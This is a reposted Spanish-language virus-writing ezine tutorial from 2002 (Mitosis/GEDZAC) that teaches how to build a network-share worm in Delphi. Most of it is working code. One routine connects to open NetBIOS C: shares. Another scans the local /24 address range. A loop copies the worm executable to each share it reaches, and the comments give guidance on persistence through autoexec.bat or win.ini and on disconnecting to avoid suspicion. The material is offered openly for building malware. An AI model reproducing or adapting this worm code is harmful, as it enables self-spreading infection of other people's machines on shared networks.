Copy Link
Add to Bookmark
Report

Gedzac Mitosis Ezine Issue 01 010

eZine's profile picture
Published in 
Mitosis
 · 11 Oct 2020

  

(C) MITOSIS #1 E-Zine/GEDZAC 2002


Tema : Partes básicas para construir un gusano de Recursos compartidos
Autor : ErGrone
Válido para : Delphi 2 o superiores.

--------------------------------------------------------------------------------------------

Buenas, ya todos han de saber que es un gusano de recursos compartidos, y para el que no lo sepa léase esto:

Un gusano de recursos compartidos es aquel que busca el Puerto 139 para poder copiarse a otra computadora, este puerto se encuentra abierto generalmente en las redes LAN o en las redes caseras, este puerto posibilita la transmisión de archivos entre dos computadoras sin hacer mucho trámite. Obviamente a este servicio (NetBios) del puerto 139 se le pueden poner restricciones de lectura y escritura, pero muchos lo tienen abierto sin ninguna restricción y eso es lo que buscará nuestro gusano para poder vivir.

Comenzamos...


1) Función para conectar a un equipo con NetBios.
**********************************************

Function ConNetBios(ataque:string):integer;
var
NetResource: TNetResource;
begin
NetResource.dwType := RESOURCETYPE_DISK; //tipo de unidad, en nuestro caso un disco
NetResource.lpLocalName := 'O:'; //conectaremos a través de la unidad O (local)
NetResource.lpRemoteName := pchar('\\'+Ataque+'\c');// el destino de nuestra
//conexión, en nuestro caso son Ips y atacando siempre al disco C:,--> \\XXX.XXX.XXX.XXX\C
NetResource.lpProvider := '';
WNetAddConnection2(NetResource, '', '', CONNECT_UPDATE_PROFILE);
end;

********************************************************************************************
Nota: la flag CONNECT_UPDATE_PROFILE = 0, es lo mismo para la conexión persistente,o sea,
WNetAddConnection2(NetResource,'','', 0) = WNetAddConnection2(NetResource,'','', CONNECT_UPDATE_PROFILE).
********************************************************************************************

Esta función debe ser llamada de este modo.
ConNetBios(200.0.0.255);

Si esa ip tiene el NetBios activado, el disco C compartido y sin password ya habremos conectado.

///----///

2) Función Básica para Generar Ips y atacar todo un rango.
******************************************************

Si nuestro gusano no sabe caminar pues quedará postrado en nuestro disco duro, así que mostrare una función para generar Ips a partir del equipo donde estamos, es simple pero útil, y desde aquí se pueden seguir generando mas rangos.

Inicialización de winsock (Function IniciaWinSock:integer):
**********************************************************

(Esta función es necesaria para la obtención de IP, se debe agregar Winsock en las Uses.)


Declaraciones en Var:
--------------------

WVersionRequested : WORD;
WsaData : TWSAData;

Código:
------

WVersionRequested := MAKEWORD(2, 2); //puede ser MakeWord(1,1),MakeWord(2,0).

if WSAStartup(wVersionRequested, WsaData)> 0 then //se comprueba la versión de Winsock y si éste es válido (0 = True);
begin
exitprocess(0); // si el socket es incorrecto finalizamos (> 0)
end;

Obtener la IP local (Function Local:String):
*******************************************

Declaraciones en Var:
--------------------

Host: PHostEnt;
Data : array[0..128] of char;
IPLocal : pchar;

Código:
------

GetHostName(@Data, 128); // obtenemos el Nombre del Host y lo guardamos en DATA
Host := GetHostByName(@Data); // obtenemos el puntero donde esta nuestra IP
IpLocal := Inet_Ntoa(PinAddr(Host^.h_addr_list^)^); // obtenemos nuestra ip XXX.XXX.XXX.XXX
Result:=IPLocal;

Generar y atacar un rango (Function UnRango(laip:string):integer);
*****************************************************************
Declaraciones en Var:
--------------------

LaIpBase,ElGen:String;
Vuelt1,vuelt2,longitud,Cpunt:integer;

Código:
------

Cpunt:=0; //Cuenta puntos
LaIpBase:=Local;
Longitud:=strlen(pchar(LaIpBase)); // obtenemos la longitud de la ip.
For Vuelt1 := 1 to longitud do
begin
//Destripamos la IP, necesitamos conocer el lugar de los puntos ya que
//cortaremos nuestra parte final de la ip local.
if LaIpBase[Vuelt1]='.' then inc(Cpunt);
if Cpunt < 3 then //no hemos llegado al tercer punto? entonces seguimos leyendo.
begin
ElGen := ElGen+LaIpBase[Vuelt1]; //al finalizar este bucle nuestra ip queda XXX.XXX.XXX
end;
For vuelt2 := 0 to 255 do
Begin
ConNetBios(elgen+'.'+inttostr(vuelt2)); // Intentamos conectarnos las ips
//Aquí va el codigo para copiarnos al equipo que estamos atacando, o sea CopyFile. como ejemplo
//nuestro gusano se llama GHJKLÑ.exe
CopyFile(pchar('GHJKLÑ.EXE'),Pchar('O:\GHJKLÑ'),true);
//Aquí el código para modificar el autoexec.bat o el win.ini para así activarnos
//al próximo inicio, todo ésto con control de errores (TRY, EXCEPT) por si la IP
//atacada llegase a no estar activa o sin NetBios. esto ya debe saber como se
//hace. Recuerde que el autoexec o el win.ini a modificar estan en O:\
WNetCancelConnection2( 'O:',0,TRUE) //Nos desconectamos para no levantar sospechas y porque
//necesitaremos la unidad O.
end;
WSACleanup; // Una vez terminado ésto procedemos a cerrar el socket
End;

/////-----------------////////
/////-----------------////////
/////-----------------////////


Notas Finales.
*************
Las ips generadas corresponden a este rango:
XXX.XXX.XXX.yyy donde las X son parte de nuestra ip y las Y van desde 0 hasta 255, si nuestra ip fuese 184.214.255.13, generaríamos 184.214.255.0 184.214.255.255 y atacaríamos todo nuestro rango.

Bueno, con esta información ya se puede generar un gusano de recursos compartidos, sólo falta la parte mas fácil, pero muy importante (modificar el Autoexec y/o el win.ini, se supone que eso ya lo sabe hacer o bien sabe que leer).

... enlace recomendado en caso de no saber na de na...

>---> http://www.geocities.com/WallStreet/Exchange/3124/delphi.htm



(C) MITOSIS E-Zine/GEDZAC 2002

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT